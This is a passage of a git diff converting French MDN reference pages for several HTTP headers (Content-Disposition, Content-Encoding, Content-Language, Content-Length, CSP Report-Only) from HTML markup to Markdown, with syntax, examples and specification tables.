Avec la valeur des paramètres du nom de +fichier si présent. -<pre class="syntaxbox">Content-Disposition: inline -Content-Disposition: attachment -Content-Disposition: attachment; filename="filename.jpg"</pre> + Content-Disposition: inline + Content-Disposition: attachment + Content-Disposition: attachment; filename="filename.jpg" -<h3 id="En_tant_quen-tête_pour_un_corps_à_plusieurs_parties">En tant qu'en-tête pour un corps à plusieurs parties </h3> +### En tant qu'en-tête pour un corps à plusieurs parties -<p>Le premier paramètre dans le contexte HTTP est toujours une donnée de forme. Les paramètres supplémentaires sont insensibles à la casse et ont des arguments, qui utilisent la syntaxe de chaîne cité après le signe '='. Les paramètres multiples sont<br> - séparés par un point-virgule (';').</p> +Le premier paramètre dans le contexte HTTP est toujours une donnée de forme. Les paramètres supplémentaires sont insensibles à la casse et ont des arguments, qui utilisent la syntaxe de chaîne cité après le signe '='. Les paramètres multiples sont +séparés par un point-virgule (';'). -<pre>Content-Disposition: form-data Content-Disposition: form-data; -name="fieldName" Content-Disposition: form-data; -name="fieldName"; filename="filename.jpg"</pre> + Content-Disposition: form-data Content-Disposition: form-data; + name="fieldName" Content-Disposition: form-data; + name="fieldName"; filename="filename.jpg" -<h2 id="Directives">Directives</h2> +## Directives -<p><code><name></code><br> - Est suivie d'une chaîne contenant le nom du champ HTML dans la forme dont le contenu de cette sous-partie se réfère. Lorsqu'il s'agit de plusieurs fichiers dans le même champ (par exemple, l'attribut {{htmlattrxref("multiple", "input")}} d'un {{HTMLElement("input","<input type=file>")}} element), il peut y avoir plusieurs sous-parties portant le même nom.</p> +`<name>` +Est suivie d'une chaîne contenant le nom du champ HTML dans la forme dont le contenu de cette sous-partie se réfère. Lorsqu'il s'agit de plusieurs fichiers dans le même champ (par exemple, l'attribut {{htmlattrxref("multiple", "input")}} d'un {{HTMLElement("input","<input type=file>")}} element), il peut y avoir plusieurs sous-parties portant le même nom. -<p>Un <code>name</code> avec une valeur de <code>'_charset_'</code> indique que la partie n'est pas un champ HTML, mais le jeu de caractères par défaut à utiliser pour les pièces sans informations de charset explicites.</p> +Un `name` avec une valeur de `'_charset_'` indique que la partie n'est pas un champ HTML, mais le jeu de caractères par défaut à utiliser pour les pièces sans informations de charset explicites. -<p><code><filename></code><br> - Est suivi d'une chaîne contenant le nom d'origine du fichier transmis. Le nom de fichier est toujours facultatif et ne doit pas être utilisé aveuglément par l'application: l'information du chemin doit être rayée et la conversion aux règles du système de fichiers du serveur doit être effectuée. Ce paramètre fournit principalement des informations indicatives. Lorsqu'il est utilisé en combinaison avec <code>Content-Disposition: attachement</code>, il est utilisé comme nom de fichier par défaut pour une éventuelle boîte de dialogue "Enregistrer sous" présentée à l'utilisateur.</p> +`<filename>` +Est suivi d'une chaîne contenant le nom d'origine du fichier transmis. Le nom de fichier est toujours facultatif et ne doit pas être utilisé aveuglément par l'application: l'information du chemin doit être rayée et la conversion aux règles du système de fichiers du serveur doit être effectuée. Ce paramètre fournit principalement des informations indicatives. Lorsqu'il est utilisé en combinaison avec `Content-Disposition: attachement`, il est utilisé comme nom de fichier par défaut pour une éventuelle boîte de dialogue "Enregistrer sous" présentée à l'utilisateur. -<p><code><filename*></code><br> - Les paramètres <code>filename</code> et <code>filename*</code> diffèrent uniquement en ce que <code>filename*</code> utilise l'encodage défini dans la RFC 5987. Lorsque <code>filename</code> et <code>filename*</code> sont présents dans une seule valeur de champ d'en-tête, <code>filename*</code> est préféré à <code>filename</code> lorsque les deux sont présents et compris.</p> +`<filename*>` +Les paramètres `filename` et `filename*` diffèrent uniquement en ce que `filename*` utilise l'encodage défini dans la RFC 5987. Lorsque `filename` et `filename*` sont présents dans une seule valeur de champ d'en-tête, `filename*` est préféré à `filename` lorsque les deux sont présents et compris. -<h2 id="Exemples">Exemples</h2> +## Exemples -<p>Une réponse déclanchant le dialogue "Enregistrer sous":</p> +Une réponse déclanchant le dialogue "Enregistrer sous": -<pre class="brush: html">200 OK +```html +200 OK Content-Type: text/html; charset=utf-8 Content-Disposition: attachment; filename="cool.html" Content-Length: 22 -<HTML>Enregistrez-moi !</HTML> -</pre> - -<p>Ce fichier HTML simple sera sauvegardé en tant que téléchargement régulier plutôt que dans le navigateur. La plupart des navigateurs proposeront de l'enregistrer sous le nom de fichier <code>cool.html</code> (par défaut).</p> - -<p>Un exemple de formulaire HTML, publié à l'aide du format <code>multipart / form-data</code> qui utilise l'en-tête <code>Content-Disposition</code>:</p> - -<pre>POST /test.html HTTP/1.1 -Host: example.org -Content-Type: multipart/form-data;boundary="boundary" - ---boundary -Content-Disposition: form-data; name="field1" - -value1 ---boundary -Content-Disposition: form-data; name="field2"; filename="example.txt" - -value2 ---boundary--</pre> - -<h2 id="Spécifications">Spécifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7578")}}</td> - <td><br> - Retour des valeurs à partir des formulaires: multipart / form-data</td> - </tr> - <tr> - <td>{{RFC("6266")}}</td> - <td><br> - Utilisation du champ Header Content-Disposition dans le protocole de transfert hypertexte (HTTP)</td> - </tr> - <tr> - <td>{{RFC("2183")}}</td> - <td><br> - Communiquer des informations de présentation dans les messages Internet: le champ de l'en-tête de disposition de contenu</td> - </tr> - </tbody> -</table> +<HTML>Enregistrez-moi !</HTML> +``` + +Ce fichier HTML simple sera sauvegardé en tant que téléchargement régulier plutôt que dans le navigateur. La plupart des navigateurs proposeront de l'enregistrer sous le nom de fichier `cool.html` (par défaut). + +Un exemple de formulaire HTML, publié à l'aide du format `multipart / form-data` qui utilise l'en-tête `Content-Disposition`: + + POST /test.html HTTP/1.1 + Host: example.org + Content-Type: multipart/form-data;boundary="boundary" + + --boundary + Content-Disposition: form-data; name="field1" + + value1 + --boundary + Content-Disposition: form-data; name="field2"; filename="example.txt" + + value2 + --boundary-- + +## Spécifications + +| Spécification | Titre | +| -------------------- | ------------------------------------------------------------------------------------------------------------------------ | +| {{RFC("7578")}} | Retour des valeurs à partir des formulaires: multipart / form-data | +| {{RFC("6266")}} | Utilisation du champ Header Content-Disposition dans le protocole de transfert hypertexte (HTTP) | +| {{RFC("2183")}} | Communiquer des informations de présentation dans les messages Internet: le champ de l'en-tête de disposition de contenu | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http/headers/content-disposition")}}</p> +{{Compat("http/headers/content-disposition")}} -<h2 id="Notes_de_compatibilité">Notes de compatibilité</h2> +## Notes de compatibilité -<ul> - <li>Firefox 5 gère l'en-tête de réponse HTTP <code>Content-Disposition</code> plus efficacement si les deux paramètres du nom de fichier et du nom de fichier sont fournis. Il examine tous les noms fournis, en utilisant le paramètre * du nom de fichier, s'il est disponible, même si un paramètre de nom de fichier est inclus en premier. Auparavant, le premier paramètre correspondant serait utilisé, empêchant ainsi un nom plus approprié d'être utilisé. Voir {{bug (588781)}}.</li> -</ul> +- Firefox 5 gère l'en-tête de réponse HTTP `Content-Disposition` plus efficacement si les deux paramètres du nom de fichier et du nom de fichier sont fournis. Il examine tous les noms fournis, en utilisant le paramètre \* du nom de fichier, s'il est disponible, même si un paramètre de nom de fichier est inclus en premier. Auparavant, le premier paramètre correspondant serait utilisé, empêchant ainsi un nom plus approprié d'être utilisé. Voir {{bug (588781)}}. -<h2 id="Voir_également">Voir également</h2> +## Voir également -<ul> - <li><a href="/en-US/docs/Web/Guide/HTML/Forms">HTML Forms</a></li> - <li>{{HTTPHeader("Content-Type")}} définissant la limite du corps multipartie.</li> - <li>L'interface {{domxref("FormData")}} utilisée pour manipuler les données de formulaire à utiliser dans l'API {{domxref("XMLHttpRequest")}}.</li> -</ul> +- [HTML Forms](/en-US/docs/Web/Guide/HTML/Forms) +- {{HTTPHeader("Content-Type")}} définissant la limite du corps multipartie. +- L'interface {{domxref("FormData")}} utilisée pour manipuler les données de formulaire à utiliser dans l'API {{domxref("XMLHttpRequest")}}. diff --git a/files/fr/web/http/headers/content-encoding/index.md b/files/fr/web/http/headers/content-encoding/index.md index 3d52ddfac5..50592fde0f 100644 --- a/files/fr/web/http/headers/content-encoding/index.md +++ b/files/fr/web/http/headers/content-encoding/index.md @@ -7,99 +7,81 @@ tags: - Reference translation_of: Web/HTTP/Headers/Content-Encoding --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>L'en-tête <strong><code>Content-Encoding</code></strong> indique la compression utilisée sur le média contenu dans le corps de la requête. Il permet au client de savoir comment décoder le contenu afin d'obtenir le type de média référencé par l'entête <code>Content-Type</code>.</p> +L'en-tête **`Content-Encoding`** indique la compression utilisée sur le média contenu dans le corps de la requête. Il permet au client de savoir comment décoder le contenu afin d'obtenir le type de média référencé par l'entête `Content-Type`. -<p>Il est recommandé de compresser les données autant que possible et donc d'utiliser cet en-tête. Toutefois, certains types de fichiers, comme les images jpeg, sont déjà compressés. Parfois, l'utilisation d'une compression supplémentaire ne réduit pas la taille de la chage utile et peut même la rendre plus longue.</p> +Il est recommandé de compresser les données autant que possible et donc d'utiliser cet en-tête. Toutefois, certains types de fichiers, comme les images jpeg, sont déjà compressés. Parfois, l'utilisation d'une compression supplémentaire ne réduit pas la taille de la chage utile et peut même la rendre plus longue. <table class="properties"> - <tbody> - <tr> - <th scope="row">Type d'en-tête</th> - <td><a href="/fr/docs/Glossaire/En-tête_entité">En-tête d'entité</a></td> - </tr> - <tr> - <th scope="row"><a href="/fr/docs/Glossaire/Forbidden_header_name">Nom d'en-tête interdit</a></th> - <td>Non</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td><a href="/fr/docs/Glossaire/En-tête_entité">En-tête d'entité</a></td> + </tr> + <tr> + <th scope="row"> + <a href="/fr/docs/Glossaire/Forbidden_header_name" + >Nom d'en-tête interdit</a + > + </th> + <td>Non</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> - -<pre class="syntaxbox">Content-Encoding: gzip -Content-Encoding: compress -Content-Encoding: deflate -Content-Encoding: identity -Content-Encoding: br - -// Plusieurs valeurs selon l'ordre dans lequel ils ont été appliqués -Content-Encoding: gzip, identity -Content-Encoding: deflate, gzip -</pre> - -<h2 id="Directives">Directives</h2> - -<dl> - <dt><code>gzip</code></dt> - <dd>Un format utilisant le <a href="http://en.wikipedia.org/wiki/LZ77_and_LZ78#LZ77">codage Lempel-Ziv</a> (LZ77), avec un CRC de 32 bits. Il s'agit du format original pour le programme UNIX <em>gzip</em>. La norme HTTP/1.1 recommande également que les serveurs prenant en charge cet encodage reconnaissent <code>x-gzip</code> comme alias, à des fins de compatibilité.</dd> - <dt><code>compress</code></dt> - <dd>Un format utilisant l'algorithme <a class="external" href="http://en.wikipedia.org/wiki/LZW">Lempel-Ziv-Welch</a> (LZW). Le nom de la valeur a été tiré du programme de compression UNIX, qui a mis en œuvre cet algorithme. Comme le programme de compression, qui a disparu de la plupart des distributions UNIX, ce codage de contenu n'est pas utilisé par de nombreux navigateurs aujourd'hui, en partie à cause d'un problème de brevet (il a expiré en 2003).</dd> - <dt><code>deflate</code></dt> - <dd>Utilisant la structure <a href="http://en.wikipedia.org/wiki/Zlib">zlib</a> (définie dans la <a class="external" href="http://tools.ietf.org/html/rfc1950">RFC 1950</a>) avec l'algorithme de compression <em><a class="external" href="http://en.wikipedia.org/wiki/DEFLATE">deflate</a> </em>(défini dans la <a class="external" href="http://tools.ietf.org/html/rfc1951">RFC 1951</a>).</dd> - <dt><code>identity</code></dt> - <dd>Indicates the identity function (c'est-à-dire qu'il n'y a eu aucune compression ou modification). Sauf mention contraire, cette valeur est toujours considérée comme acceptable.</dd> - <dt><code>br</code></dt> - <dd>Un format utilisant l'algorithme de <a href="https://en.wikipedia.org/wiki/Brotli">Brotli</a>.</dd> -</dl> - -<h2 id="Exemples">Exemples</h2> - -<h3 id="Compression_avec_gzip">Compression avec gzip</h3> - -<p>Côté client, on peut fournir la liste des mécanismes de compression pris en charge en envoyant l'en-tête {{HTTPHeader("Accept-Encoding")}} lors de la négociation de l'encodage.</p> - -<pre>Accept-Encoding: gzip, deflate</pre> - -<p>Le serveur répondra avec le schéma utilisé avec l'en-tête de réponse <code>Content-Encoding</code>.</p> - -<pre>Content-Encoding: gzip</pre> - -<p>À noter que le serveur n'est pas obligé d'utiliser de méthode de compression. La compression dépend fortement des paramètres du serveur et des modules de serveur utilisés.</p> - -<h2 id="Spécifications">Spécifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{RFC("7932", "Brotli Compressed Data Format")}}</td> - <td>Brotli Compressed Data Format</td> - </tr> - <tr> - <td>{{RFC("7231", "Content-Encoding", "3.1.2.2")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - <tr> - <td>{{RFC("2616", "Content-Encoding", "14.11")}}</td> - <td>Content-Encoding</td> - </tr> - </tbody> -</table> +## Syntaxe + + Content-Encoding: gzip + Content-Encoding: compress + Content-Encoding: deflate + Content-Encoding: identity + Content-Encoding: br + + // Plusieurs valeurs selon l'ordre dans lequel ils ont été appliqués + Content-Encoding: gzip, identity + Content-Encoding: deflate, gzip + +## Directives + +- `gzip` + - : Un format utilisant le [codage Lempel-Ziv](http://en.wikipedia.org/wiki/LZ77_and_LZ78#LZ77) (LZ77), avec un CRC de 32 bits. Il s'agit du format original pour le programme UNIX _gzip_. La norme HTTP/1.1 recommande également que les serveurs prenant en charge cet encodage reconnaissent `x-gzip` comme alias, à des fins de compatibilité. +- `compress` + - : Un format utilisant l'algorithme [Lempel-Ziv-Welch](http://en.wikipedia.org/wiki/LZW) (LZW). Le nom de la valeur a été tiré du programme de compression UNIX, qui a mis en œuvre cet algorithme. Comme le programme de compression, qui a disparu de la plupart des distributions UNIX, ce codage de contenu n'est pas utilisé par de nombreux navigateurs aujourd'hui, en partie à cause d'un problème de brevet (il a expiré en 2003). +- `deflate` + - : Utilisant la structure [zlib](http://en.wikipedia.org/wiki/Zlib) (définie dans la [RFC 1950](http://tools.ietf.org/html/rfc1950)) avec l'algorithme de compression _[deflate](http://en.wikipedia.org/wiki/DEFLATE) _(défini dans la [RFC 1951](http://tools.ietf.org/html/rfc1951)). +- `identity` + - : Indicates the identity function (c'est-à-dire qu'il n'y a eu aucune compression ou modification). Sauf mention contraire, cette valeur est toujours considérée comme acceptable. +- `br` + - : Un format utilisant l'algorithme de [Brotli](https://en.wikipedia.org/wiki/Brotli). + +## Exemples + +### Compression avec gzip + +Côté client, on peut fournir la liste des mécanismes de compression pris en charge en envoyant l'en-tête {{HTTPHeader("Accept-Encoding")}} lors de la négociation de l'encodage. + + Accept-Encoding: gzip, deflate + +Le serveur répondra avec le schéma utilisé avec l'en-tête de réponse `Content-Encoding`. + + Content-Encoding: gzip + +À noter que le serveur n'est pas obligé d'utiliser de méthode de compression. La compression dépend fortement des paramètres du serveur et des modules de serveur utilisés. + +## Spécifications + +| Spécification | Titre | +| ---------------------------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7932", "Brotli Compressed Data Format")}} | Brotli Compressed Data Format | +| {{RFC("7231", "Content-Encoding", "3.1.2.2")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | +| {{RFC("2616", "Content-Encoding", "14.11")}} | Content-Encoding | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.Content-Encoding")}}</p> +{{Compat("http.headers.Content-Encoding")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Accept-Encoding")}}</li> - <li>{{HTTPHeader("Transfer-Encoding")}}</li> -</ul> +- {{HTTPHeader("Accept-Encoding")}} +- {{HTTPHeader("Transfer-Encoding")}} diff --git a/files/fr/web/http/headers/content-language/index.md b/files/fr/web/http/headers/content-language/index.md index 002c307908..3430f8620e 100644 --- a/files/fr/web/http/headers/content-language/index.md +++ b/files/fr/web/http/headers/content-language/index.md @@ -9,99 +9,92 @@ tags: - Reference translation_of: Web/HTTP/Headers/Content-Language --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>L'en-tête <strong><code>Content-Language</code></strong> est utilisé pour décrire quels langages sont destinés au public, de sorte que cela permette à l'utilisateur de se différencier en fonction de la langue préférée des utilisateurs.</p> +L'en-tête **`Content-Language`** est utilisé pour décrire quels langages sont destinés au public, de sorte que cela permette à l'utilisateur de se différencier en fonction de la langue préférée des utilisateurs. -<p>Par exemple, si "<code>Content-Language: de-DE</code>" est mis en place, cela signifie que la page est destinée à un public parlant l'allemand (par contre, cela n'indique pas que la page est écrite en allemand. Par exemple, elle pourrait être écrite en anglais dans le cadre d'un cours de langue destiné aux allemands).</p> +Par exemple, si "`Content-Language: de-DE`" est mis en place, cela signifie que la page est destinée à un public parlant l'allemand (par contre, cela n'indique pas que la page est écrite en allemand. Par exemple, elle pourrait être écrite en anglais dans le cadre d'un cours de langue destiné aux allemands). -<p>Si l'en-tête <code>Content-Language</code> n'est pas spécifié, par défaut, cela signifie que la page est destinée à tout public de langue. Plusieurs tags de langue sont également possibles, ainsi que la mise en place de l'en-tête <code>Content-Language</code> pour dfférents types de médias, et pas seulement pour les documents texte.</p> +Si l'en-tête `Content-Language` n'est pas spécifié, par défaut, cela signifie que la page est destinée à tout public de langue. Plusieurs tags de langue sont également possibles, ainsi que la mise en place de l'en-tête `Content-Language` pour dfférents types de médias, et pas seulement pour les documents texte. <table class="properties"> - <tbody> - <tr> - <th scope="row">Type d'en-tête</th> - <td>{{Glossary("Entity header")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Forbidden header name")}}</th> - <td>Non</td> - </tr> - <tr> - <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th> - <td>Oui</td> - </tr> - <tr> - <th scope="row">{{Glossary("Simple header", "CORS-safelisted request-header")}}</th> - <td>Oui, avec comme restriction supplémentaire que les valeurs ne peuvent contenir que les caractères <code>0-9</code>, <code>A-Z</code>, <code>a-z</code>, l'espace ou <code>*,-.;=</code>.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td>{{Glossary("Entity header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>Non</td> + </tr> + <tr> + <th scope="row"> + {{Glossary("Simple response header", "CORS-safelisted response-header")}} + </th> + <td>Oui</td> + </tr> + <tr> + <th scope="row"> + {{Glossary("Simple header", "CORS-safelisted request-header")}} + </th> + <td> + Oui, avec comme restriction supplémentaire que les valeurs ne peuvent + contenir que les + caractères <code>0-9</code>, <code>A-Z</code>, <code>a-z</code>, + l'espace ou <code>*,-.;=</code>. + </td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre class="syntaxbox">Content-Language: de-DE -Content-Language: en-US -Content-Language: de-DE, en-CA -</pre> + Content-Language: de-DE + Content-Language: en-US + Content-Language: de-DE, en-CA -<h2 id="Directives">Directives</h2> +## Directives -<dl> - <dt><code>language-tag</code></dt> - <dd>Plusieurs tags de langue sont séparés par paragraphe. Chaque tag de langue est une séquence d'un ou plusieurs sous-tags insensibles à la casse, chacun séparé par un tiret ("<code>-</code>", <code>%x2D</code>). Dans la plupart des cas, un tag de langue se compose d'un sous-tag de langue principal qui identifie une large famille de langues connexes (par exemple, «en» = anglais), suivi éventuellement d'une série de sous-tags qui affinent ou réduisent la variété de langue. (par exemple, "en-CA" = la variété d'anglais telle que communiquée au Canada).</dd> -</dl> +- `language-tag` + - : Plusieurs tags de langue sont séparés par paragraphe. Chaque tag de langue est une séquence d'un ou plusieurs sous-tags insensibles à la casse, chacun séparé par un tiret ("`-`", `%x2D`). Dans la plupart des cas, un tag de langue se compose d'un sous-tag de langue principal qui identifie une large famille de langues connexes (par exemple, «en» = anglais), suivi éventuellement d'une série de sous-tags qui affinent ou réduisent la variété de langue. (par exemple, "en-CA" = la variété d'anglais telle que communiquée au Canada). -<div class="note"> -<p><strong>Note :</strong> Les tags de langues sont formellement définis dans la RFC 5646, qui repose sur la norme ISO 639 (très souvent la liste de codes ISO 639-1) pour les codes de langue à utiliser.</p> -</div> +> **Note :** Les tags de langues sont formellement définis dans la RFC 5646, qui repose sur la norme ISO 639 (très souvent la liste de codes ISO 639-1) pour les codes de langue à utiliser. -<h2 id="Exemples">Exemples</h2> +## Exemples -<h3 id="Indiquer_la_langue_dans_laquelle_un_document_est_écrit">Indiquer la langue dans laquelle un document est écrit</h3> +### Indiquer la langue dans laquelle un document est écrit -<p>L'attribut global <code><a href="/fr/docs/Web/HTML/Global_attributes/lang">lang</a></code> est utilisé sur des éléments HTML pour indiquer la langue d'une page HTML entière ou une partie de celle-ci.</p> +L'attribut global [`lang`](/fr/docs/Web/HTML/Global_attributes/lang) est utilisé sur des éléments HTML pour indiquer la langue d'une page HTML entière ou une partie de celle-ci. -<pre class="brush: html"><html lang="de"></pre> +```html +<html lang="de"> +``` -<p><strong>N'utilisez pas</strong> le meta tag comme ceci pour déclarer la langue d'un document:</p> +**N'utilisez pas** le meta tag comme ceci pour déclarer la langue d'un document: -<pre class="brush: html example-bad"><!-- /!\ C'est une mauvaise pratique --> -<meta http-equiv="content-language" content="de"></pre> +```html example-bad +<!-- /!\ C'est une mauvaise pratique --> +<meta http-equiv="content-language" content="de"> +``` -<h3 id="Indiquer_un_public_cible_pour_une_ressource">Indiquer un public cible pour une ressource</h3> +### Indiquer un public cible pour une ressource -<p>L'en-tête <code>Content-Language</code> est utilisé pour spécifier le public destiné à la page, et peut indiquer si cela est plus qu'une seule langue.</p> +L'en-tête `Content-Language` est utilisé pour spécifier le public destiné à la page, et peut indiquer si cela est plus qu'une seule langue. -<pre>Content-Language: de, en</pre> + Content-Language: de, en -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "Content-Language", "3.1.3.2")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Sémantiques et Contenu</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| ------------------------------------------------------------ | -------------------------------------------------------------- | +| {{RFC("7231", "Content-Language", "3.1.3.2")}} | Hypertext Transfer Protocol (HTTP/1.1): Sémantiques et Contenu | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.Content-Language")}}</p> +{{Compat("http.headers.Content-Language")}} -<h2 id="Voir_également">Voir également</h2> +## Voir également -<ul> - <li>{{HTTPHeader("Accept-Language")}}</li> - <li> - <p><a href="https://www.w3.org/International/questions/qa-http-and-lang.en">HTTP headers, meta elements and language information</a></p> - </li> - <li> - <p><a href="/fr/docs/Web/HTML/Global_attributes/lang">HTML <code>lang</code> attribute</a></p> - </li> -</ul> +- {{HTTPHeader("Accept-Language")}} +- [HTTP headers, meta elements and language information](https://www.w3.org/International/questions/qa-http-and-lang.en) +- [HTML `lang` attribute](/fr/docs/Web/HTML/Global_attributes/lang) diff --git a/files/fr/web/http/headers/content-length/index.md b/files/fr/web/http/headers/content-length/index.md index 91f5d30ca8..f781431ef7 100644 --- a/files/fr/web/http/headers/content-length/index.md +++ b/files/fr/web/http/headers/content-length/index.md @@ -7,56 +7,42 @@ tags: - header translation_of: Web/HTTP/Headers/Content-Length --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>L'en-tête (<em>header</em>) <strong><code>Content-Length</code></strong> indique la taille en octets (exprimée en base 10) du corps de la réponse envoyée au client.</p> +L'en-tête (_header_) **`Content-Length`** indique la taille en octets (exprimée en base 10) du corps de la réponse envoyée au client. <table class="properties"> - <tbody> - <tr> - <th scope="row">Type d'en-tête</th> - <td>{{Glossary("Entity header")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Forbidden header name")}}</th> - <td>oui</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td>{{Glossary("Entity header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>oui</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre class="syntaxbox">Content-Length: <longueur> -</pre> + Content-Length: <longueur> -<h2 id="Directives">Directives</h2> +## Directives -<dl> - <dt><longueur></dt> - <dd>La longueur en octet (en base 10).</dd> -</dl> +- \<longueur> + - : La longueur en octet (en base 10). -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7230", "Content-Length", "3.3.2")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| -------------------------------------------------------- | ------------------------------------------------------------------ | +| {{RFC("7230", "Content-Length", "3.3.2")}} | Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http/headers/content-length")}}</p> +{{Compat("http/headers/content-length")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Transfer-Encoding")}}</li> -</ul> +- {{HTTPHeader("Transfer-Encoding")}} diff --git a/files/fr/web/http/headers/content-security-policy-report-only/index.md b/files/fr/web/http/headers/content-security-policy-report-only/index.md index 7524dab5f1..50efce60fb 100644 --- a/files/fr/web/http/headers/content-security-policy-report-only/index.md +++ b/files/fr/web/http/headers/content-security-policy-report-only/index.md @@ -12,100 +12,99 @@ tags: - header translation_of: Web/HTTP/Headers/Content-Security-Policy-Report-Only --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>L'en-tête de réponse HTTP <strong><code>Content-Security-Policy-Report-Only</code></strong> permet aux développeurs web d'expérimenter avec les règles CSP en contrôlant leur application sans bloquer de contenu. Ces rapports de violations sont constitués d'un document {{Glossary("JSON")}} envoyé via une requête HTTP <code>POST</code> à l'URI spécifiée.</p> +L'en-tête de réponse HTTP **`Content-Security-Policy-Report-Only`** permet aux développeurs web d'expérimenter avec les règles CSP en contrôlant leur application sans bloquer de contenu. Ces rapports de violations sont constitués d'un document {{Glossary("JSON")}} envoyé via une requête HTTP `POST` à l'URI spécifiée. -<p>Pour plus d'informations, voir aussi cet article sur les <a href="/en-US/docs/Web/HTTP/CSP">Content Security Policy (CSP)</a>.</p> +Pour plus d'informations, voir aussi cet article sur les [Content Security Policy (CSP)](/en-US/docs/Web/HTTP/CSP). <table class="properties"> - <tbody> - <tr> - <th scope="row">Type d'en-tête</th> - <td>{{Glossary("Response header")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Forbidden header name")}}</th> - <td>non</td> - </tr> - <tr> - <th colspan="2" scope="row">Cet en-tête n'est pas supporté au sein d'un élément {{HTMLElement("meta")}}.</th> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>non</td> + </tr> + <tr> + <th colspan="2" scope="row"> + Cet en-tête n'est pas supporté au sein d'un élément + {{HTMLElement("meta")}}. + </th> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre class="syntaxbox">Content-Security-Policy-Report-Only: <policy-directive>; <policy-directive> -</pre> + Content-Security-Policy-Report-Only: <policy-directive>; <policy-directive> -<h2 id="Directives">Directives</h2> +## Directives -<p>Les directives de l'en-tête {{HTTPHeader("Content-Security-Policy")}} peuvent aussi être appliquées à l'en-tête <code>Content-Security-Policy-Report-Only</code>.</p> +Les directives de l'en-tête {{HTTPHeader("Content-Security-Policy")}} peuvent aussi être appliquées à l'en-tête `Content-Security-Policy-Report-Only`. -<p>La directive CSP {{CSP("report-uri")}} doit être utilisée avec celui-ci, ou définir cet en-tête ne servirait à rien puisqu'aucun rapport ne serait envoyé.</p> +La directive CSP {{CSP("report-uri")}} doit être utilisée avec celui-ci, ou définir cet en-tête ne servirait à rien puisqu'aucun rapport ne serait envoyé. -<h2 id="Exemples">Exemples</h2> +## Exemples -<p>Cet en-tête rapporte les violations qui seront constatées. Vous pouvez l'utiliser pour améliorer vos CSP. Vous pouvez observer comment votre site fonctionne en consultant les rapports ou <a href="https://secure.wphackedhelp.com/blog/wordpress-malware-redirect-hack-cleanup/">redirections malicieuses</a>, puis choisir les règles voulues pour bloquer le contenu avec l'en-tête {{HTTPHeader("Content-Security-Policy")}}.</p> +Cet en-tête rapporte les violations qui seront constatées. Vous pouvez l'utiliser pour améliorer vos CSP. Vous pouvez observer comment votre site fonctionne en consultant les rapports ou [redirections malicieuses](https://secure.wphackedhelp.com/blog/wordpress-malware-redirect-hack-cleanup/), puis choisir les règles voulues pour bloquer le contenu avec l'en-tête {{HTTPHeader("Content-Security-Policy")}}. -<pre>Content-Security-Policy-Report-Only: default-src https:; report-uri /csp-violation-report-endpoint/</pre> + Content-Security-Policy-Report-Only: default-src https:; report-uri /csp-violation-report-endpoint/ -<p>Si vous voulez toujours recevoir des rapports, mais aussi imposer des règles, utilisez l'en-tête {{HTTPHeader("Content-Security-Policy")}} avec la directive {{CSP("report-uri")}}.</p> +Si vous voulez toujours recevoir des rapports, mais aussi imposer des règles, utilisez l'en-tête {{HTTPHeader("Content-Security-Policy")}} avec la directive {{CSP("report-uri")}}. -<pre>Content-Security-Policy: default-src https:; 